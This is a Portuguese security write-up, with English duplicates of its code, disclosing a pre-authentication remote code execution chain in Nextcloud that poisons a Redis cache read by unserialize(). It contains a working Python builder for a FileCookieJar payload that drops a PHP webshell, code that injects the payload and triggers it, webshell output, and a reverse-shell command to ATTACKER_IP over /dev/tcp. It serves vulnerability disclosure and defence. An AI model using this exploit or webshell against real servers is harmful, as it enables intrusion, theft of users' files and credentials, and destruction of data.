🍪 PoisonJar: RCE Pré-Auth no Nextcloud via Envenenamento de Cache

Como uma única chamada unserialize() sem allowed_classes no cache do TaskProcessing transforma acesso ao Redis em Remote Code Execution como www-data — sem login, sem sessão, sem CSRF.

PoC AO VIVO

Ataque ao Vivo — Outro Dispositivo na Mesma Rede (Bridge)

Antes da teoria, veja o ataque acontecer. Um segundo dispositivo em modo bridge na mesma rede local executa toda a cadeia de ponta a ponta — cache poisoning no Redis → webshell em ocs-provider/ → reverse shell — exatamente o cenário 02-lan-attack do repositório. Sem login, sem interação da vítima: uma demonstração direta de como o acesso ao cache vira RCE como www-data.

Reproduzido em laboratório Docker isolado, rede bridge — apenas para fins educacionais.

TL;DR

O PoisonJar é uma cadeia de RCE pré-autenticação no Nextcloud Server 33.0.x. Uma chamada unserialize() sem allowed_classes na camada de cache do TaskProcessing (Manager.php:874) processa dados vindos do Redis/Memcached sem qualquer validação. Quem consegue escrever no cache (cenário comum em Docker, Kubernetes e VPCs) injeta um objeto GuzzleHttp\Cookie\FileCookieJar — gadget já presente no 3rdparty/ do próprio Nextcloud — cujo __destruct() chama file_put_contents() com caminho e conteúdo controlados. Resultado: um webshell PHP gravado em ocs-provider/ (que escapa do rewrite do .htaccess) e executado como www-data. O gatilho é um endpoint #[PublicPage] — uma única requisição HTTP sem autenticação dispara toda a cadeia.

Aviso Legal

Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada, com reprodução em laboratório Docker isolado. Todo o conteúdo destina-se a defesa, treinamento de equipes e desenvolvimento de detecções. Não utilize contra sistemas de terceiros sem autorização explícita por escrito.

📚 Série PoisonJar

Esta é a análise técnica fundamental: a anatomia da vulnerabilidade, a cadeia de exploração e um PoC funcional. O foco é entender cada peça — o sink, o gatilho, o gadget e o bypass — e por que isso se encadeia de forma trivial em ambientes self-hosted e Kubernetes.

A divulgação seguiu o caminho da divulgação coordenada (CVD) via HackerOne. O report foi fechado como Informative no mesmo dia, teve a severidade derrubada de 9.8 para 2.2 sem justificativa, e meus pedidos de reabertura e divulgação ficaram sem resposta. Embora a política da HackerOne já me desse o direito de divulgar após 30 dias, esperei mais de 70 dias — mais do que o dobro do prazo — no espírito da divulgação responsável. Sem qualquer resolução à vista, publico a análise eu mesmo: o bug ainda funciona nas versões mais atuais do Nextcloud e o silêncio do fornecedor permanece até hoje.

Contexto: Nextcloud, TaskProcessing e Redis

O Nextcloud é a plataforma de colaboração e armazenamento self-hosted mais popular do mundo — documentos, fotos, contatos, calendários e arquivos compartilhados de milhões de usuários vivem dentro dele. A maioria das instâncias roda via Docker ou Kubernetes, justamente os ambientes onde esta cadeia brilha.

O subsistema TaskProcessing orquestra tarefas de IA/ML (geração de texto, tradução, etc.). Para evitar recomputar a lista de tipos de tarefa a cada requisição, ele guarda essa lista em cache distribuído — serializada com serialize() e lida de volta com unserialize(). Em produção, esse cache distribuído é tipicamente o Redis ou o Memcached.

Por que isso importa: o Redis como backend de cache e file locking é a configuração oficialmente recomendada pelo Nextcloud para produção. E, na prática, a maioria dos deploys Docker/Kubernetes sobe o Redis sem senha, confiando apenas no isolamento de rede. O resultado é um banco de dados em memória, compartilhado e frequentemente sem autenticação, alimentando diretamente um unserialize().

Quando o TaskProcessing Entrou — e Por Que Isso Amplia a Superfície

O framework TaskProcessing foi introduzido no Nextcloud 30.0.0 (setembro de 2024), unificando as APIs anteriores de TextProcessing, TextToImage e Speech-To-Text em um único ponto central (OCP\TaskProcessing). O detalhe que torna o PoisonJar tão acessível é a combinação de eras: a lógica de cache vulnerável vive no código novo (o Manager do TaskProcessing, 30+), mas o gatilho público é o endpoint legado de TextProcessing, que continua roteado e marcado como #[PublicPage]. Uma superfície antiga e sem autenticação alimentando um subsistema novo.

Por Que o Redis Quase Sempre Está Sem Senha (um "bug" que virou cultura)

Não é descuido aleatório dos administradores — é história documentada. Por anos, rodar o Redis com senha na imagem Docker oficial do Nextcloud simplesmente não funcionava direito:

  • Issue #1179 (jul/2020): quando nenhuma senha era definida, getenv() retornava false, mas o entrypoint tentava autenticar mesmo assim, quebrando a conexão. Só foi corrigido no PR #1232.
  • Issue #1608 (out/2021): os próprios exemplos de docker-compose oficiais não tratavam a senha do Redis, deixando a configuração sem autenticação como caminho padrão.

O erro que assombrava quem tentava habilitar senha era este — e a resposta mais comum nos fóruns era, ironicamente, "remova a senha":

ERR AUTH <password> called without any password configured for the default user
    at /var/www/html/lib/private/RedisFactory.php:94

O efeito colateral: diante de um bug que travava a instância ao configurar senha, a "solução" que circulava era simplesmente remover a senha. Anos de fricção transformaram "Redis sem autenticação" no estado natural de incontáveis deploys — exatamente o pré-requisito do PoisonJar.

Anatomia da Vulnerabilidade (CWE-502)

O Que é Deserialização Insegura?

A função unserialize() do PHP reconstrói objetos a partir de uma string. Quando chamada sem a opção allowed_classes, ela instancia qualquer classe disponível no autoloader da aplicação. Isso é perigoso porque objetos PHP possuem magic methods — métodos que o motor executa automaticamente durante o ciclo de vida do objeto:

  • __wakeup() — chamado imediatamente quando o objeto é desserializado
  • __destruct() — chamado quando o objeto é coletado pelo garbage collector (sai de escopo)
  • __toString() — chamado quando o objeto é usado como string

Um atacante que controla os dados serializados pode forjar um objeto cujos magic methods executem operações perigosas. Essa técnica é chamada de POP chain (Property-Oriented Programming): em vez de injetar código novo, o atacante encadeia classes que já existem na aplicação para alcançar o efeito desejado.

Como o PHP Serializa um Objeto (e Por Que Isso é Forjável)

Para forjar um objeto malicioso, o atacante não precisa de nenhuma mágica — o formato de serialize() é texto plano, documentado e determinístico. Cada valor é prefixado por um marcador de tipo:

Marcador Significado Exemplo
s:N:"…" String de N bytes s:5:"proof"
i:N; Inteiro i:9999999999;
b:0|1; Booleano b:0;
a:N:{…} Array com N pares a:1:{i:0;…}
N; Null N;
O:N:"Classe":C:{…} Objeto (classe de N bytes, C propriedades) O:31:"…FileCookieJar":4:{…}

O único "truque" está na visibilidade das propriedades. O PHP codifica o escopo no próprio nome, usando o byte nulo (\x00) como separador:

  • Pública: nome — sem prefixo
  • Protegida: \x00*\x00nome — prefixo *
  • Privada: \x00NomeDaClasse\x00nome — prefixo com a classe que a declara

É exatamente por isso que o payload do PoisonJar carrega aquelas strings com \x00: cookies é privada de CookieJar, enquanto filename e storeSessionCookies são privadas de FileCookieJar. Como o formato é totalmente previsível, um atacante remoto monta o objeto byte a byte — sem nunca tocar no servidor.

1. O Sink — unserialize() sem allowed_classes

Arquivo: lib/private/TaskProcessing/Manager.php. O valor vem direto do cache distribuído (Redis/Memcached). Não há validação, assinatura ou HMAC — a aplicação confia cegamente em qualquer coisa que esteja no cache.

// lib/private/TaskProcessing/Manager.php

// Linha 874 — a chamada vulnerável
$this->availableTaskTypes = unserialize($cachedValue);
//                          ^^^^^^^^^^^
//                          Sem segundo argumento = sem restrição de classe.
//                          Qualquer objeto serializado vira um objeto PHP "vivo".

// Linha 919 — onde o dado é gravado no cache (fluxo legítimo)
$this->distributedCache->set($cacheKey, serialize($this->availableTaskTypes), 60);
// lib/private/TaskProcessing/Manager.php

// Line 874 — the vulnerable call
$this->availableTaskTypes = unserialize($cachedValue);
//                          ^^^^^^^^^^^
//                          No second argument = no class restriction.
//                          Any serialized object becomes a "live" PHP object.

// Line 919 — where the data is written to the cache (legitimate flow)
$this->distributedCache->set($cacheKey, serialize($this->availableTaskTypes), 60);

O caminho até o sink é curto e sem ramificações: o endpoint público chama getAvailableTaskTypes(), que monta a chave de cache, lê o valor do cache distribuído e o entrega — cru — ao unserialize():

// lib/private/TaskProcessing/Manager.php (fluxo resumido)
// O cache distribuído já carrega o prefixo "<instanceId>/task_processing::"
$cacheKey    = 'available_task_types_v3:' . $lang;
$cachedValue = $this->distributedCache->get($cacheKey);     // ← valor vindo do Redis
if ($cachedValue !== null) {
    $this->availableTaskTypes = unserialize($cachedValue);  // ← linha 874: o SINK
    return $this->availableTaskTypes;
}
// caminho lento: recomputa os tipos e regrava no cache (serialize) na linha 919
// lib/private/TaskProcessing/Manager.php (condensed flow)
// The distributed cache already carries the prefix "<instanceId>/task_processing::"
$cacheKey    = 'available_task_types_v3:' . $lang;
$cachedValue = $this->distributedCache->get($cacheKey);     // ← value coming from Redis
if ($cachedValue !== null) {
    $this->availableTaskTypes = unserialize($cachedValue);  // ← line 874: the SINK
    return $this->availableTaskTypes;
}
// slow path: recompute the types and re-store them in the cache (serialize) at line 919

O erro de fronteira de confiança: o código trata o Redis como se fosse memória interna confiável. Mas o cache é um sistema externo, compartilhado e (como vimos) frequentemente sem autenticação. No instante em que os dados atravessam essa fronteira, eles viram entrada não confiável — e unserialize() sobre entrada não confiável é, por definição, CWE-502.

2. O Gatilho — Endpoint #[PublicPage]

Arquivo: core/Controller/TextProcessingApiController.php. O atributo #[PublicPage] instrui o SecurityMiddleware do Nextcloud a pular todas as checagens de autenticação. Qualquer pessoa na internet pode chamar este endpoint.

// core/Controller/TextProcessingApiController.php

#[PublicPage]    // ← Sem autenticação. Sem sessão. Sem CSRF. Nada.
#[ApiRoute(verb: 'GET', url: '/tasktypes', root: '/textprocessing')]
public function taskTypes(): DataResponse {
    $typeClasses = $this->textProcessingManager->getAvailableTaskTypes();
    // ... que eventualmente chama unserialize($cachedValue) na linha 874
}
// core/Controller/TextProcessingApiController.php

#[PublicPage]    // ← No auth. No session. No CSRF. Nothing.
#[ApiRoute(verb: 'GET', url: '/tasktypes', root: '/textprocessing')]
public function taskTypes(): DataResponse {
    $typeClasses = $this->textProcessingManager->getAvailableTaskTypes();
    // ... which eventually calls unserialize($cachedValue) at line 874
}

Uma única requisição não autenticada dispara toda a leitura do cache e a desserialização:

GET /ocs/v2.php/textprocessing/tasktypes HTTP/1.1
Host: target.nextcloud.com
OCS-APIREQUEST: true

# Sem cookies. Sem senha. Sem token. A requisição sozinha basta.
GET /ocs/v2.php/textprocessing/tasktypes HTTP/1.1
Host: target.nextcloud.com
OCS-APIREQUEST: true

# No cookies. No password. No token. The request alone is enough.

3. O Gadget — FileCookieJar::__destruct()

Arquivo: 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php. Este gadget já está empacotado no próprio Nextcloud. Quando o objeto FileCookieJar desserializado sai de escopo, o garbage collector chama __destruct(), que grava um arquivo em disco. O atacante controla o caminho (filename) e o conteúdo (o campo Value do cookie).

// 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

public function __destruct()
{
    $this->save($this->filename);    // $this->filename = controlado pelo atacante
}

public function save(string $filename): void
{
    $json = [];
    foreach ($this as $cookie) {
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }
    $jsonStr = Utils::jsonEncode($json);
    file_put_contents($filename, $jsonStr, LOCK_EX);
    // ^^^^^^^^^^^^^^^^
    // Grava em QUALQUER caminho gravável, como o usuário do servidor web (www-data).
    // O conteúdo inclui o campo "Value" do cookie — controlado pelo atacante.
}
// 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

public function __destruct()
{
    $this->save($this->filename);    // $this->filename = attacker-controlled
}

public function save(string $filename): void
{
    $json = [];
    foreach ($this as $cookie) {
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }
    $jsonStr = Utils::jsonEncode($json);
    file_put_contents($filename, $jsonStr, LOCK_EX);
    // ^^^^^^^^^^^^^^^^
    // Writes to ANY writable path, as the web server user (www-data).
    // The content includes the cookie's "Value" field — attacker-controlled.
}

O que torna uma classe um gadget viável? Três ingredientes: (1) um magic method que roda sozinho (__destruct/__wakeup); (2) que use uma propriedade do objeto em uma operação perigosa (escrita em arquivo, eval, SQL…); e (3) que essa propriedade seja controlável via deserialização. O FileCookieJar tem os três: __destruct()save()file_put_contents($this->filename, …), com filename e conteúdo sob controle do atacante.

Traduzido para o formato serializado, o objeto fica assim — cada linha anotada:

O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{          // objeto, 4 propriedades
  s:36:"\x00GuzzleHttp\Cookie\CookieJar\x00cookies";        // privada (herdada de CookieJar)
    a:1:{ i:0; O:27:"GuzzleHttp\Cookie\SetCookie":1:{…} }   // 1 cookie com o webshell no campo "Value"
  s:39:"\x00GuzzleHttp\Cookie\CookieJar\x00strictMode"; b:0;
  s:41:"\x00GuzzleHttp\Cookie\FileCookieJar\x00filename";   // ← ONDE escrever
    s:38:"/var/www/html/ocs-provider/cmd.php";
  s:52:"\x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies"; b:1;  // força a persistência
}
O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{          // object, 4 properties
  s:36:"\x00GuzzleHttp\Cookie\CookieJar\x00cookies";        // private (inherited from CookieJar)
    a:1:{ i:0; O:27:"GuzzleHttp\Cookie\SetCookie":1:{…} }   // 1 cookie with the webshell in the "Value" field
  s:39:"\x00GuzzleHttp\Cookie\CookieJar\x00strictMode"; b:0;
  s:41:"\x00GuzzleHttp\Cookie\FileCookieJar\x00filename";   // ← WHERE to write
    s:38:"/var/www/html/ocs-provider/cmd.php";
  s:52:"\x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies"; b:1;  // forces persistence
}

Caça a gadgets: encontrar essas cadeias é um campo próprio — a ferramenta phpggc mantém um catálogo de POP chains conhecidas para bibliotecas populares (Guzzle incluso). O diferencial aqui não foi inventar um gadget, e sim perceber que um já estava empacotado no 3rdparty/ do próprio Nextcloud, alcançável por um sink sem restrição.

O Timing do __destruct() — por que o 500 não salva o servidor

Um revisor atento vai perguntar: se o objeto é atribuído a $this->availableTaskTypes, ele não "sai de escopo" no fim da função — então por que o __destruct() dispara? Porque o PHP libera memória por contagem de referências (refcount), e o destructor roda em um de dois momentos: quando o refcount chega a zero, ou no shutdown da requisição, quando o engine destrói todos os objetos que ainda restam. A atribuição apenas adia o destructor para o fim da requisição — não o cancela.

// lib/private/TaskProcessing/Manager.php — o que acontece em UMA requisição

$this->availableTaskTypes = unserialize($cachedValue);  // 1. cria o FileCookieJar (objeto vivo)
//   ^ atribuído à propriedade => refcount = 1, NÃO destruído ainda

return $this->availableTaskTypes;                        // 2. devolve um objeto onde se esperava um array
//   ... o chamador trata como array => TypeError => HTTP 500 ENVIADO ao atacante

// 3. fim da requisição => PHP entra em SHUTDOWN
//      o engine destrói todos os objetos vivos e chama __destruct() de cada um
//      Manager liberado => availableTaskTypes perde a referência => refcount = 0

// 4. FileCookieJar::__destruct() => save() => file_put_contents($filename, ...)
//      => /var/www/html/ocs-provider/cmd.php  GRAVADO  (depois do 500)

// 5. próxima requisição:  GET /ocs-provider/cmd.php?c=id  => uid=33(www-data)
// lib/private/TaskProcessing/Manager.php — what happens within ONE request

$this->availableTaskTypes = unserialize($cachedValue);  // 1. creates the FileCookieJar (live object)
//   ^ assigned to the property => refcount = 1, NOT destroyed yet

return $this->availableTaskTypes;                        // 2. returns an object where an array was expected
//   ... the caller treats it as an array => TypeError => HTTP 500 SENT to the attacker

// 3. end of request => PHP enters SHUTDOWN
//      the engine destroys every live object and calls each one's __destruct()
//      Manager freed => availableTaskTypes loses its reference => refcount = 0

// 4. FileCookieJar::__destruct() => save() => file_put_contents($filename, ...)
//      => /var/www/html/ocs-provider/cmd.php  WRITTEN  (after the 500)

// 5. next request:  GET /ocs-provider/cmd.php?c=id  => uid=33(www-data)

Dois detalhes blindam o timing: (1) um erro fatal — o TypeError que gera o 500 — encerra a execução do script, mas não impede os destructors do shutdown; e (2) não há dependência do GC cíclico do PHP — é refcounting puro. O webshell é gravado depois que o 500 já voltou ao atacante; na requisição seguinte, ele executa.

4. O Alvo da Escrita — ocs-provider/ escapa do .htaccess

O .htaccess do Nextcloud reescreve todas as requisições para index.php, impedindo acesso direto a arquivos PHP arbitrários. Porém, o diretório ocs-provider/ é explicitamente excluído do rewrite:

# .htaccess — ocs-provider/ é excluído do rewrite
RewriteCond %{REQUEST_FILENAME} !/(ocs-provider|updater)/
# .htaccess — ocs-provider/ is excluded from the rewrite
RewriteCond %{REQUEST_FILENAME} !/(ocs-provider|updater)/

Ou seja: um arquivo PHP gravado em /var/www/html/ocs-provider/cmd.php é servido diretamente pelo Apache e executado, sem passar pelo roteador nem pela autenticação do Nextcloud.

Não é inédito: o CVE-2024-31989 (Argo CD) explorou exatamente a mesma ideia — cache poisoning no Redis levando à manipulação do estado da aplicação. Sempre que um cache compartilhado alimenta um deserializador, o Redis deixa de ser "só performance" e vira superfície de execução de código.

A Cadeia Completa de Ataque

poisonjar@lab — exploit chain LIVE
Atacante acesso de rede ao Redis + uma requisição HTTP
① Redis SET — cache poisoning
③ HTTP GET — zero autenticação
1
Redis (sem auth) cache_key = payload serializado
2 get
3
Nextcloud (Apache + PHP) endpoint #[PublicPage]
unserialize($cachedValue) — objeto vivo
FileCookieJar instanciado
__destruct() na coleta de lixo
file_put_contents() — escrita arbitrária
Webshell gravado ocs-provider/cmd.php — escapa do .htaccess
④ HTTP GET /ocs-provider/cmd.php?c=id
4
RCE alcançado uid=33(www-data) — execução de comandos
[1] cache poisoning ── redis SET <key> "O:31:…FileCookieJar…"
[2] trigger ── GET /ocs/v2.php/textprocessing/tasktypes
[3] unserialize() → __destruct() → file_put_contents()
[4] webshell ── /var/www/html/ocs-provider/cmd.php (HTTP 500, mas já gravou)
[5] GET /ocs-provider/cmd.php?c=id → uid=33(www-data) ✓ RCE

A Chave de Cache é Previsível

A chave segue um padrão fixo: <instanceId>/task_processing::available_task_types_v3:<language>. O instanceId é uma string hexadecimal de 32 caracteres visível nos cookies e no HTML da instância. Ou seja, o atacante sabe exatamente em qual chave injetar o payload.

Passo Ação Detalhe
Cache poisoning Atacante faz SET no Redis com um objeto FileCookieJar serializado na chave previsível
Leitura + deserialização Nextcloud lê a chave e passa o valor direto para unserialize(), criando um objeto vivo
Gatilho (zero auth) Um GET ao endpoint público dispara a cadeia; retorna HTTP 500, mas o objeto já foi criado
Execução __destruct() grava o webshell em ocs-provider/; o atacante o acessa e executa comandos como www-data

Detalhe elegante (e o timing): o endpoint retorna HTTP 500 porque o objeto desserializado não é o array esperado. Mas o objeto foi atribuído a $this->availableTaskTypes — fica vivo até o fim da requisição. No shutdown do PHP, o engine destrói todos os objetos restantes e chama o __destruct() de cada um (refcounting puro, sem depender do GC cíclico). É aí que o FileCookieJar grava o webshell — depois que o 500 já foi enviado. Um erro fatal encerra o script, mas não cancela os destructors do shutdown.

Prova de Conceito Funcional

O exploit completo (exploit.py sem dependências) e o laboratório Docker (com os dois cenários e o relatório técnico, PT/EN) estão disponíveis no repositório no GitHub. Aqui o foco é entender o bug: como o objeto é forjado e por que ele dispara a escrita do webshell.

Construindo o Gadget (o coração do exploit)

A função abaixo monta a string serializada de um FileCookieJar. Note as propriedades private/protected com o prefixo \x00 (NUL) que o PHP usa internamente. O webshell vai dentro do campo Value do cookie; o filename aponta para ocs-provider/cmd.php.

def build_payload(target_path):
    NUL = "\x00"
    # Webshell: system($_GET[chr(99)]) — chr(99)='c', evita aspas dentro do JSON
    shell = '<' + '?php system($_GET[chr(99)]); ?' + '>'

    cookie_data = (
        'a:9:{'
        's:4:"Name";s:5:"proof";'
        f's:5:"Value";s:{len(shell)}:"{shell}";'
        's:6:"Domain";s:11:"example.com";'
        's:4:"Path";s:1:"/";'
        's:7:"Max-Age";N;'
        's:7:"Expires";i:9999999999;'
        's:6:"Secure";b:0;'
        's:7:"Discard";b:0;'
        's:8:"HttpOnly";b:0;'
        '}'
    )

    set_cookie = (
        f'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{{'
        f's:33:"{NUL}GuzzleHttp\\Cookie\\SetCookie{NUL}data";'
        f'{cookie_data}'
        f'}}'
    )

    jar = (
        f'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{{'
        f's:36:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}cookies";a:1:{{i:0;{set_cookie}}}'
        f's:39:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}strictMode";b:0;'
        f's:41:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}filename";'
        f's:{len(target_path)}:"{target_path}";'
        f's:52:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}storeSessionCookies";b:1;'
        f'}}'
    )
    return json.dumps(jar)
def build_payload(target_path):
    NUL = "\x00"
    # Webshell: system($_GET[chr(99)]) — chr(99)='c', avoids quotes inside the JSON
    shell = '<' + '?php system($_GET[chr(99)]); ?' + '>'

    cookie_data = (
        'a:9:{'
        's:4:"Name";s:5:"proof";'
        f's:5:"Value";s:{len(shell)}:"{shell}";'
        's:6:"Domain";s:11:"example.com";'
        's:4:"Path";s:1:"/";'
        's:7:"Max-Age";N;'
        's:7:"Expires";i:9999999999;'
        's:6:"Secure";b:0;'
        's:7:"Discard";b:0;'
        's:8:"HttpOnly";b:0;'
        '}'
    )

    set_cookie = (
        f'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{{'
        f's:33:"{NUL}GuzzleHttp\\Cookie\\SetCookie{NUL}data";'
        f'{cookie_data}'
        f'}}'
    )

    jar = (
        f'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{{'
        f's:36:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}cookies";a:1:{{i:0;{set_cookie}}}'
        f's:39:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}strictMode";b:0;'
        f's:41:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}filename";'
        f's:{len(target_path)}:"{target_path}";'
        f's:52:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}storeSessionCookies";b:1;'
        f'}}'
    )
    return json.dumps(jar)

O Fluxo do Exploit

O exploit.py não precisa de dependências externas: fala TCP cru com o Redis e usa urllib para o HTTP. O fluxo é direto — confirmar o alvo, descobrir a chave de cache, injetar o payload e disparar o gatilho:

# 1. Conecta ao Redis (sem auth) e descobre a chave de cache
all_keys = redis_cmd(rs, "KEYS", "*")
for line in all_keys.split("\n"):
    if "task_processing::available_task_types" in line.strip():
        cache_key = line.strip()
        break
# fallback: deriva a chave a partir do instanceId visível em outras chaves

# 2. Constrói e injeta o webshell no cache
payload = build_payload("/var/www/html/ocs-provider/cmd.php")
redis_cmd(rs, "SET", cache_key, payload)
redis_cmd(rs, "EXPIRE", cache_key, "300")

# 3. Dispara a deserialização — ZERO AUTH
http_get(f"{NC_URL}/ocs/v2.php/textprocessing/tasktypes?format=json",
         {"OCS-APIREQUEST": "true"})

# 4. Verifica o RCE
code, body = http_get(f"{SHELL_URL}?c=id")
if code == 200 and "uid=" in body:
    print("REMOTE CODE EXECUTION CONFIRMED")
# 1. Connect to Redis (no auth) and discover the cache key
all_keys = redis_cmd(rs, "KEYS", "*")
for line in all_keys.split("\n"):
    if "task_processing::available_task_types" in line.strip():
        cache_key = line.strip()
        break
# fallback: derive the key from the instanceId visible in other keys

# 2. Build and inject the webshell into the cache
payload = build_payload("/var/www/html/ocs-provider/cmd.php")
redis_cmd(rs, "SET", cache_key, payload)
redis_cmd(rs, "EXPIRE", cache_key, "300")

# 3. Trigger the deserialization — ZERO AUTH
http_get(f"{NC_URL}/ocs/v2.php/textprocessing/tasktypes?format=json",
         {"OCS-APIREQUEST": "true"})

# 4. Verify the RCE
code, body = http_get(f"{SHELL_URL}?c=id")
if code == 200 and "uid=" in body:
    print("REMOTE CODE EXECUTION CONFIRMED")

Os trechos acima são recortes didáticos. O exploit.py completo (com descoberta de chave, tratamento de erros e parser de saída do webshell) e o docker-compose.yml do laboratório estão disponíveis no repositório do GitHub, para reprodução em ambiente controlado.

Resultado

  ════════════════════════════════════════════
    REMOTE CODE EXECUTION CONFIRMED
  ════════════════════════════════════════════

  [+] Webshell: http://target/ocs-provider/cmd.php?c=<command>

  $ id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  $ uname -a
  Linux 9e3a8222c01e 6.17.0-19-generic ... x86_64 GNU/Linux
  $ whoami
  www-data

Do Webshell ao Reverse Shell

# Listener do atacante
nc -lnvp 4444

# Dispara via webshell (caracteres especiais URL-encoded)
curl "http://target/ocs-provider/cmd.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

# Resultado:
# Connection received on 172.19.0.4 51190
# www-data@9e3a8222c01e:/var/www/html/ocs-provider$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Attacker listener
nc -lnvp 4444

# Fire via the webshell (special characters URL-encoded)
curl "http://target/ocs-provider/cmd.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

# Result:
# Connection received on 172.19.0.4 51190
# www-data@9e3a8222c01e:/var/www/html/ocs-provider$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Por Que Isso é Perigoso

Com execução de comandos como www-data, o atacante tem acesso total ao Nextcloud e a tudo que ele toca:

Impacto Descrição
Remote Code Execution Execução completa de comandos como www-data
Roubo de Dados Ler TODOS os arquivos dos usuários: documentos, fotos, contatos, calendários
Roubo de Credenciais config/config.php contém senha do banco, instance secret e credenciais SMTP
Acesso ao Banco Com as credenciais do config, dump completo de contas, hashes e tokens
Movimento Lateral Pivotar para outros serviços internos (DB, LDAP, SMTP, outras apps)
Persistência Backdoors em arquivos PHP do core que sobrevivem a updates
Destruição / Ransomware Apagar arquivos, corromper o banco, criptografar dados dos usuários
QUEM É AFETADO
Cache distribuído — qualquer instância usando Redis ou Memcached
Config recomendada — é a própria documentação oficial que sugere Redis
Deploys Docker — exemplos oficiais não definem REDIS_HOST_PASSWORD
Pré-auth — gatilho em endpoint #[PublicPage], sem login

Cenários de Ataque: Self-Hosted e Kubernetes

O pré-requisito é "acesso de rede ao Redis". Isso parece restritivo, mas nos ambientes onde o Nextcloud realmente roda, é quase sempre verdade. Em ordem de probabilidade:

🔴 Kubernetes / Docker (probabilidade ALTA)

Pod/container comprometido no mesmo namespace/rede
  → Service do Redis (sem NetworkPolicy = acesso irrestrito)
  → cache poisoning → RCE
Compromised pod/container in the same namespace/network
  → Redis Service (no NetworkPolicy = unrestricted access)
  → cache poisoning → RCE

Por padrão, o Kubernetes não aplica NetworkPolicies. Qualquer pod no mesmo namespace alcança qualquer service. Uma vulnerabilidade em qualquer outra aplicação do cluster vira um caminho direto até o Redis do Nextcloud.

🔴 Cloud VPC (probabilidade ALTA)

SSRF em qualquer outra aplicação na mesma VPC
  → ElastiCache/Azure Cache/Memorystore (sem auth, IP privado)
  → cache poisoning → RCE
SSRF in any other application in the same VPC
  → ElastiCache/Azure Cache/Memorystore (no auth, private IP)
  → cache poisoning → RCE

Serviços de Redis gerenciados (AWS ElastiCache, Azure Cache, GCP Memorystore) rodam em IPs privados dentro da VPC e geralmente sem autenticação, confiando no isolamento de rede. Um SSRF em qualquer app da VPC fura esse isolamento.

🟡 Rede compartilhada (probabilidade MÉDIA)

Atacante no mesmo segmento de rede
  → Redis acessível sem auth (bind 0.0.0.0 ou interface de rede local)
  → cache poisoning → RCE
Attacker on the same network segment
  → Redis reachable without auth (bind 0.0.0.0 or a local network interface)
  → cache poisoning → RCE

🟢 Redis exposto (probabilidade BAIXA, mas real)

Redis exposto na internet (porta 6379, sem auth)
  → cache poisoning direto → RCE
Redis exposed on the internet (port 6379, no auth)
  → direct cache poisoning → RCE

Segundo a Wiz Research (2025), cerca de 60.000 instâncias Redis estão expostas na internet sem autenticação. Nem todas servem Nextcloud — mas a sobreposição não é zero.

A Barreira do Redis: Por Que "Está na Rede Privada" Não é Proteção

Toda a cadeia do PoisonJar depende de uma única capacidade: escrever uma chave no Redis. E a defesa quase sempre se apoia em uma só frase — "o Redis está numa rede privada, ninguém de fora alcança". Os cenários acima têm um fio comum: na prática, essa barreira é uma ficção. O detalhe mais repetido — o Redis sem senha — é apenas o último degrau, não a causa.

Redis compartilhado é a norma, não a exceção

Redis dedicado a uma única aplicação é raro. Por economia e praticidade, tanto os serviços gerenciados (AWS ElastiCache, Azure Cache, GCP Memorystore) quanto os clusters self-hosted costumam ser compartilhados entre vários serviços. Um mesmo Redis normalmente carrega:

  • Cache de várias apps — Nextcloud, um CRM e um portal interno, todos no mesmo cluster.
  • Sessões, filas e rate-limit de microsserviços distintos, mantidos por times distintos.
  • Um cache de plataforma multi-tenant, onde "isolamento" é só um prefixo de chave — não uma fronteira real.

Quanto mais compartilhado, maior o número de workloads que legitimamente conversam com aquele Redis. E basta um deles cair para que a chave do TaskProcessing do Nextcloud seja sobrescrita.

O pod comprometido: o atacante nunca toca o Nextcloud

rede-compartilhada — raio-de-explosão
App vizinha RCE numa dependência
Job / CronJob token de SA vazado
Pod comprometido atacante já dentro
todos alcançam o Redis — rede de pods plana, sem NetworkPolicy
Redis compartilhado cache de N apps — escrever aqui = chave do Nextcloud
chave task_processing envenenada
Nextcloud lê o cache → unserialize() → RCE (www-data)

Esse é o ponto que mais assusta: o atacante não precisa de nenhuma falha no Nextcloud. Em Kubernetes, a rede de pods é plana por padrão — sem NetworkPolicy, qualquer pod fala com qualquer service. Basta comprometer qualquer workload com rota até o Redis: uma dependência vulnerável, um SSRF, um token de service account vazado, uma imagem de contêiner adulterada. Vazou em algum ponto da malha → alcançou o Redis → envenenou o cache → RCE no Nextcloud. O Nextcloud é a vítima final, nunca o ponto de entrada.

A senha não é a barreira que você imagina

"Então é só configurar requirepass no Redis?" Ajuda — mas não é a fronteira sólida que aparenta. Todo pod que usa o Redis carrega a credencial: variável de ambiente, secret montado ou arquivo de config. Comprometa o pod certo e a senha vem junto. A misconfig "sem senha" apenas poupa um passo — o de ler a credencial de um vizinho. A causa-raiz é a mesma: um cache compartilhado alimentando um unserialize() sem allowed_classes.

